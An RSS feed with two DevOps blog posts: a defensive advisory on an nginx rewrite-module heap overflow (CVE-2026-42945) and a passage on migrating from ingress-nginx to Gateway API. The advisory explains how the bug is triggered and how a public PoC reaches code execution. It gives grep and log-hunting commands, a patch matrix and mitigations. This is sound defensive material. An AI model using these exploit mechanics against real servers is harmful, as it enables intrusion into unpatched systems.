<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>DevOps Daily</title>
    <link>https://devops-daily.com</link>
    <description>The latest DevOps news, tutorials, and guides</description>
    <language>en</language>
    <lastBuildDate>Fri, 15 May 2026 14:26:24 GMT</lastBuildDate>
    <atom:link href="https://devops-daily.com/feed.xml" rel="self" type="application/rss+xml"/>
    
    <item>
      <title><![CDATA[NGINX Rift (CVE-2026-42945): The 18-Year-Old Rewrite Bug That Hands an Attacker Your Worker Process]]></title>
      <link>https://devops-daily.com/posts/nginx-rift-cve-2026-42945-rewrite-rce</link>
      <description><![CDATA[An autonomous code-audit tool found an 18-year-old heap overflow in NGINX's rewrite module. Affects every release from 0.6.27 through 1.30.0, plus NGINX Plus and the entire F5 product line. Full RCE PoC is public. Here is the one-line config grep that tells you whether you are exposed, the patch matrix, and what to do about the long tail of products that bundle the vulnerable nginx without a vendor patch yet.]]></description>
      <pubDate>Thu, 14 May 2026 12:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/nginx-rift-cve-2026-42945-rewrite-rce</guid>
      <category><![CDATA[Networking]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Networking]]></category><category><![CDATA[Security]]></category><category><![CDATA[NGINX]]></category><category><![CDATA[CVE]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<p>On May 13, 2026, F5 published <a href="https://my.f5.com/manage/s/article/K000161019">K000161019</a> and the <a href="https://nginx.org/en/security_advisories.html">security advisories list</a> at nginx.org picked up a new entry. The bug, branded &quot;NGINX Rift&quot; by its discoverer and tracked as <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42945">CVE-2026-42945</a>, is a heap buffer overflow in the rewrite module that has been sitting in <code>ngx_http_script.c</code> since the 0.6.27 release in 2008. Every nginx release between then and 1.30.0 is vulnerable. So is NGINX Plus through R36. So is every F5 product that ships nginx internally, including their commercial Ingress Controller, App Protect WAF, and Instance Manager.</p>
<p>A working remote code execution PoC is public on GitHub. There is no in-the-wild exploitation reported as of this morning, but the <a href="https://github.com/depthfirstdisclosures/nginx-rift">PoC repository</a> is small enough to read in one sitting and the exploit primitive is deterministic. The clock is short.</p>
<p>This post covers what the bug actually is, the one-line grep that tells you whether your config is exploitable (because the F5 advisory&#39;s &quot;vulnerable&quot; framing is broader than your actual exposure), the patch matrix across distros, and the long tail of OpenResty, Kong, APISIX, and other downstream products that have no advisory yet but ship the same vulnerable code.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>CVE-2026-42945</strong>, CVSS v4 9.2 / v3 8.1. Heap buffer overflow in <code>ngx_http_rewrite_module</code> reachable by an unauthenticated HTTP request against any nginx running a vulnerable rewrite pattern.</li>
<li><strong>Affected</strong>: NGINX Open Source 0.6.27 through 1.30.0; NGINX Plus R32 through R36; F5 NGINX Ingress Controller 3.5.0-5.4.1, NGINX App Protect WAF 4.x and 5.x, NGINX Gateway Fabric, NGINX Instance Manager. OpenResty, Tengine, Angie, FreeNGINX, Kong, APISIX and the Kubernetes <code>ingress-nginx</code> project all ship the same <code>ngx_http_script.c</code> and should be treated as vulnerable until their maintainers ship a patched release.</li>
<li><strong>Fixed in</strong>: nginx 1.31.0 (mainline) and 1.30.1 (stable). NGINX Plus R36 P4, R35 P2, R32 P6.</li>
<li><strong>The trigger</strong> is operator-written config, not attacker-controlled config. A <code>rewrite</code> directive whose replacement contains <code>?</code> and uses an unnamed capture (<code>$1</code>, <code>$2</code>, etc.) referenced again by <code>set</code>, <code>if</code>, or a subsequent <code>rewrite</code> is enough. The attacker just sends one HTTP request with the right URL.</li>
<li><strong>Successful exploitation</strong> lands code execution as the nginx worker user (often <code>www-data</code> or <code>nginx</code>). Workers hold the TLS private key in memory and serve responses, so even non-root worker access is a serious incident.</li>
<li><strong>Detection</strong>: there are no published WAF rules from Cloudflare, AWS, or OWASP CRS yet. Grep your own configs. The one-liner is below.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Shell access to any host that runs nginx, or to a Kubernetes cluster running an nginx-based ingress controller.</li>
<li>The nginx config tree (<code>/etc/nginx/</code>, or your container image&#39;s equivalent).</li>
<li>Patience for one round of <code>grep</code> followed by either a package upgrade or a config audit.</li>
</ul>
<h2 id="h2-what-the-bug-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-the-bug-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the bug actually is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-bug-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The rewrite module compiles every <code>rewrite</code>, <code>set</code>, <code>if</code>, and <code>return</code> directive into a small bytecode that runs once per request. The compiler produces two code arrays: a &quot;length&quot; array that calculates how many bytes the rewritten string will occupy, and a &quot;value&quot; array that actually writes those bytes.</p>
<p>Two state bits flow through this machine. One is <code>is_args</code>, which records whether the rewrite has crossed into the query-string portion of the URL. The other is the destination buffer pointer. The bug is that those two bits get out of sync when the rewrite uses an unnamed PCRE capture and the replacement contains <code>?</code>.</p>
<p>Concretely, after a <code>rewrite ^/api/(.+) /v2/$1?internal=1 break;</code> runs once, the engine permanently flips <code>is_args=1</code> on the main script engine. The length pass for the next <code>rewrite</code> (or <code>set</code>, or <code>if</code> referencing <code>$1</code>) runs through a zeroed sub-engine where <code>is_args=0</code>, so the capture-length code returns the raw byte count of <code>$1</code>. The copy pass sees <code>is_args=1</code> on the main engine and routes the same bytes through <code>ngx_escape_uri</code>, which expands characters like <code>+</code>, <code>%</code>, <code>&amp;</code>, and space into their percent-encoded forms. The destination buffer was sized for the raw count, so the expanded bytes write past the end of the allocation.</p>
<p>The corruption lands in the request pool. With cross-request heap shaping, the PoC walks the overflow into the <code>ngx_pool_cleanup_t</code> handler pointer and gets <code>system()</code> called with attacker-controlled arguments. Worker code execution follows. All the technical detail is in the <a href="https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability">depthfirst writeup</a> and the <a href="https://github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9">fix commit</a>.</p>
<p>Two important details for operators:</p>
<ol>
<li><strong>This is not a config-poisoning bug.</strong> Some vulnerability writeups make a bug sound less serious by noting it requires attacker-controlled nginx.conf. This one does not. Vulnerable configs are operator-written, common in API-gateway and reverse-proxy deployments, and the attacker only needs to send an HTTP request.</li>
<li><strong><code>nginx -t</code> does not flag the pattern.</strong> The vulnerable config is syntactically valid. There is no warning from the standard config check. You have to grep.</li>
</ol>
<h2 id="h2-find-vulnerable-configs-in-your-tree" class="group relative scroll-mt-24">
        <a href="#h2-find-vulnerable-configs-in-your-tree" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Find vulnerable configs in your tree
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-find-vulnerable-configs-in-your-tree"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The dangerous pattern needs three things together: a <code>rewrite</code> whose replacement contains <code>?</code>, the replacement contains an unnamed capture (<code>$1</code> through <code>$9</code>), and the same capture is read by a later <code>rewrite</code>, <code>set</code>, or <code>if</code> in the same <code>server</code> or <code>location</code> block.</p>
<p>The fast heuristic is a regex against your full config tree:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># List rewrite directives whose replacement carries both &#x27;?&#x27; and a $N capture.</span>
grep -RHnE <span class="hljs-string">&#x27;rewrite[[:space:]]+[^;]+\$[1-9][^;]*\?|rewrite[[:space:]]+[^;]+\?[^;]*\$[1-9]&#x27;</span> /etc/nginx/ 2&gt;/dev/null
</code></pre><p>That gives you the candidate <code>rewrite</code> lines. From there, walk the <code>server</code> and <code>location</code> blocks each lives in and confirm whether any <code>set $foo $1</code>, <code>if ($1 = &quot;...&quot;)</code>, or a second <code>rewrite</code> references the same capture. Those are the exploitable combinations.</p>
<p>If you run nginx inside Kubernetes via <code>ingress-nginx</code>, the same grep against the generated config inside the controller pod is the answer:</p>
<pre><code class="hljs language-bash">kubectl -n ingress-nginx <span class="hljs-built_in">exec</span> -ti deploy/ingress-nginx-controller -- \
  sh -c <span class="hljs-string">&quot;cat /etc/nginx/nginx.conf | grep -nE &#x27;rewrite[[:space:]]+[^;]+\\\$[1-9][^;]*\\?&#x27;&quot;</span>
</code></pre><p>The generated config aggregates every Ingress&#39;s annotations into one file. Snippets, <code>rewrite-target</code>, and <code>configuration-snippet</code> are the common sources.</p>
<p>If the grep is empty across your entire fleet, you are not currently exploitable. Upgrade anyway, because the next config change a developer pushes may add a vulnerable pattern, and you would rather not be running a binary whose CVE you already shrugged off.</p>
<h2 id="h2-the-patch-matrix" class="group relative scroll-mt-24">
        <a href="#h2-the-patch-matrix" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The patch matrix
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-patch-matrix"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">+--------------------------------+-------------------------------------+
| Software                       | Patched version                     |
+--------------------------------+-------------------------------------+
| nginx (mainline)               | 1.31.0                              |
| nginx (stable)                 | 1.30.1                              |
| NGINX Plus R36                 | R36 P4                              |
| NGINX Plus R35                 | R35 P2                              |
| NGINX Plus R32                 | R32 P6                              |
| F5 NGINX Ingress Controller    | 5.4.2 (when released)               |
| F5 NGINX App Protect WAF       | 4.16.1 / 5.8.1 (when released)      |
| F5 NGINX Gateway Fabric        | 2.5.2 (when released)               |
| F5 NGINX Instance Manager      | 2.21.2 (when released)              |
| OpenResty                      | No advisory yet                     |
| Tengine, Angie, FreeNGINX      | No advisory yet                     |
| Kong, APISIX                   | No advisory yet                     |
| Kubernetes ingress-nginx       | Retired, no patch coming            |
+--------------------------------+-------------------------------------+
</code></pre><p>Distro status as of this morning (2026-05-14):</p>
<ul>
<li><strong>Debian</strong> (<a href="https://security-tracker.debian.org/tracker/CVE-2026-42945">tracker</a>): bullseye, bookworm, trixie, forky all show vulnerable. Only <code>sid</code> has the fixed <code>1.30.0-3</code> package landed.</li>
<li><strong>AlmaLinux</strong>: backport for 8, 9, and 10 <a href="https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/">published</a> in the <code>testing</code> repos using the upstream patch. Worth pulling if you cannot wait for RHEL.</li>
<li><strong>RHEL, Ubuntu, Alpine</strong>: no published advisories yet.</li>
</ul>
<p>The Kubernetes <code>ingress-nginx</code> line is the one to flag for your platform team. That project went EOL in <a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">March 2026</a> and there is no maintainer left to ship a patched container image. If you are still on it, this is the second CVE in nine days where the answer is &quot;there is no patch coming, plan the Gateway API migration.&quot; We covered that migration <a href="/posts/ingress-nginx-eol-gateway-api-migration">in a separate post</a>.</p>
<h2 id="h2-if-you-cannot-patch-in-the-next-24-hours" class="group relative scroll-mt-24">
        <a href="#h2-if-you-cannot-patch-in-the-next-24-hours" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you cannot patch in the next 24 hours
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-cannot-patch-in-the-next-24-hours"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no published WAF rule from Cloudflare&#39;s managed set, AWS WAF managed rules, or the OWASP Core Rule Set as of this morning. A custom rule that drops URLs containing combinations of percent-encoded bytes and unencoded special characters can blunt the most obvious PoC, but the underlying primitive is broad and the attacker can vary their input shape considerably.</p>
<p>The realistic short-term mitigations:</p>
<ol>
<li><strong>Audit and edit the vulnerable rewrite blocks.</strong> If a <code>rewrite</code> line carries the dangerous pattern and you can rewrite it without the <code>?</code> or the unnamed capture, do that. Most API-gateway rewrites can move the query-string concatenation into a <code>set $args ...</code> statement instead of stuffing it into the <code>rewrite</code> replacement.</li>
<li><strong>Front nginx with a non-nginx proxy that can drop malformed paths.</strong> A separately-deployed Envoy or HAProxy in front of nginx does not magically rescue you, because both proxies forward the URL path unchanged by default. But you can add path-normalisation or path-length limits at the front proxy that make exploitation harder. This buys time, not safety.</li>
<li><strong>Run workers under a tightly scoped systemd unit.</strong> <code>NoNewPrivileges=yes</code>, <code>ProtectSystem=strict</code>, <code>ProtectHome=yes</code>, <code>PrivateTmp=yes</code>, <code>RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6</code>, <code>SystemCallFilter=@system-service</code>, and especially <code>MemoryDenyWriteExecute=yes</code>. None of these stop the corruption, but <code>MemoryDenyWriteExecute=yes</code> plus the <code>RestrictAddressFamilies</code> line break the PoC&#39;s preferred follow-up of dropping a shell. You still want to upgrade.</li>
</ol>
<p>Removing the <code>rewrite</code> module entirely at build time is possible (<code>./configure --without-http_rewrite_module</code>) but breaks more than it fixes for most deployments.</p>
<h2 id="h2-what-to-watch-in-your-logs" class="group relative scroll-mt-24">
        <a href="#h2-what-to-watch-in-your-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to watch in your logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-watch-in-your-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no canonical detection signature yet. The PoC needs to send a stream of requests to shape the heap before the trigger request arrives, so a spike in same-prefix requests from one source to URLs that hit your rewrite blocks is the kind of pattern that should raise eyebrows. Two queries worth running over the last week&#39;s access logs:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Many requests to the same URL prefix from the same source in a short window</span>
awk <span class="hljs-string">&#x27;{print $1, $7}&#x27;</span> /var/log/nginx/access.log \
  | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -50
</code></pre><pre><code class="hljs language-bash"><span class="hljs-comment"># Requests where the path contains long sequences of percent-encoded bytes</span>
grep -E <span class="hljs-string">&#x27;%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}&#x27;</span> \
  /var/log/nginx/access.log | <span class="hljs-built_in">head</span> -50
</code></pre><p>Neither is specific enough to alert on, but both are good enough for retrospective investigation if you suspect compromise. Combine with worker process crash reports in your system journal (<code>journalctl -u nginx</code>).</p>
<h2 id="h2-the-ai-found-angle" class="group relative scroll-mt-24">
        <a href="#h2-the-ai-found-angle" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The AI-found angle
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ai-found-angle"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The bug was found by an autonomous code-audit system run by <a href="https://depthfirst.com">depthfirst</a>, in a six-hour run on the nginx codebase in April 2026. The same run surfaced four other memory-corruption issues, all of which F5 confirmed. The disclosure timeline was tight (April 18 found, April 21 reported, April 28 working RCE PoC, May 13 advisory), which is roughly the speed an AI-assisted research workflow lets a small team operate at.</p>
<p>The framing matters less than the implication. The codebase that nobody has shipped a critical RCE against in 18 years now has one shipped against it inside a single afternoon of automated review. The cadence of these &quot;old codebase, new CVE&quot; disclosures is going to keep getting faster, and the operational discipline that lets you patch in 24 hours instead of three weeks is going to keep getting more valuable.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>F5 advisory K000161019: <a href="https://my.f5.com/manage/s/article/K000161019">my.f5.com/manage/s/article/K000161019</a></li>
<li>nginx security advisories index: <a href="https://nginx.org/en/security_advisories.html">nginx.org/en/security_advisories.html</a></li>
<li>Fix commit: <a href="https://github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9">github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9</a></li>
<li>depthfirst writeup: <a href="https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability">depthfirst.com/research/nginx-rift</a></li>
<li>PoC repository: <a href="https://github.com/depthfirstdisclosures/nginx-rift">github.com/depthfirstdisclosures/nginx-rift</a></li>
<li>NVD entry: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42945">nvd.nist.gov/vuln/detail/CVE-2026-42945</a></li>
<li>Debian tracker: <a href="https://security-tracker.debian.org/tracker/CVE-2026-42945">security-tracker.debian.org/tracker/CVE-2026-42945</a></li>
<li>AlmaLinux backport: <a href="https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/">almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945</a></li>
<li>Original disclosure tweet: <a href="https://x.com/IntCyberDigest/status/2054844733571092943">@IntCyberDigest on X</a></li>
</ul>
<p>Grep first. Patch second. Plan the ingress-nginx migration if you have not already.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Ingress-NGINX Is Retired: A Real Migration to Gateway API With ingress2gateway 1.0]]></title>
      <link>https://devops-daily.com/posts/ingress-nginx-eol-gateway-api-migration</link>
      <description><![CDATA[In March 2026 the Kubernetes project retired ingress-nginx with no replacement waiting in the wings. Roughly half of all clusters still run it. This post is the migration that does not involve a flag day: how to inventory your annotations, what ingress2gateway 1.0 translates and what it silently drops, the side-by-side cutover pattern with the actual PromQL, and how to pick between Envoy Gateway, kgateway, Cilium Gateway, and Istio.]]></description>
      <pubDate>Thu, 14 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/ingress-nginx-eol-gateway-api-migration</guid>
      <category><![CDATA[Kubernetes]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Networking]]></category><category><![CDATA[Gateway API]]></category><category><![CDATA[Migration]]></category><category><![CDATA[Ingress]]></category>
      <content:encoded><![CDATA[<p>In November 2025 the Kubernetes project <a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">announced</a> that ingress-nginx would retire in March 2026. In January 2026 SIG Network and the Steering Committee <a href="https://kubernetes.io/blog/2026/01/29/ingress-nginx-statement/">confirmed</a> the date and the rationale: only one or two unpaid contributors were left, the <code>snippets</code> annotations were an unmaintainable security surface, and the planned successor project (InGate) had not progressed far enough to be a credible replacement. The same statement cited Datadog telemetry showing that ingress-nginx still ran in roughly 50% of cloud-native clusters.</p>
<p>So you are one of those clusters. The repository is read-only. The container image still pulls, but the next CVE will not get a patch. You need a plan.</p>
<p>This post walks the migration that does not require a flag day. It covers what the EOL actually means, which Gateway API implementation is the right next step for your situation, what <code>ingress2gateway</code> 1.0 translates for you and what it silently drops, and a side-by-side cutover that lets you keep both controllers running until you are confident.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>EOL date</strong>: March 2026 (the official posts give the month, not a specific day). After EOL there are no further releases, no bugfixes, and no security patches. Existing deployments keep running, the images keep pulling, but new CVEs sit unpatched.</li>
<li><strong>InGate is also retired.</strong> The successor project the maintainers had been building never reached production quality and was retired alongside ingress-nginx. The path forward is <a href="https://gateway-api.sigs.k8s.io/">Gateway API</a>, not InGate.</li>
<li><strong><code>ingress2gateway</code> 1.0</strong> shipped on 2026-03-20. It translates the well-defined annotations cleanly. It silently drops the dangerous ones: <code>configuration-snippet</code>, <code>server-snippet</code>, <code>auth-snippet</code>, <code>auth-url</code>, session affinity, <code>load-balance</code>. Those need to be rewritten as vendor-specific Gateway API extensions, which differ per controller.</li>
<li><strong>Controller choice</strong>: Envoy Gateway, kgateway, Cilium Gateway, Istio Gateway are all conformant with Gateway API v1.4 and all behave close enough to ingress-nginx for a routine workload. The right pick depends on what you already run.</li>
<li><strong>The cutover</strong> is shadow Gateway, watch metrics, flip DNS, decommission. Both controllers can run side by side under different <code>ingressClassName</code> / <code>gatewayClassName</code> for as long as you need.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster currently running ingress-nginx with one or more Ingress resources.</li>
<li><code>kubectl</code>, <code>jq</code>, and the <code>ingress2gateway</code> CLI (<a href="https://github.com/kubernetes-sigs/ingress2gateway#install">install instructions</a>).</li>
<li>Permission to install a second ingress controller in the cluster (it does not have to be in the same namespace as ingress-nginx).</li>
<li>A DNS provider that supports either weighted records or per-record updates (Route53, Cloudflare, GCP Cloud DNS, similar).</li>
</ul>
<h2 id="h2-step-1-take-inventory" class="group relative scroll-mt-24">
        <a href="#h2-step-1-take-inventory" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Take inventory
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-take-inventory"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The migration plan you actually need is shaped by the annotations you actually use. Start there.</p>
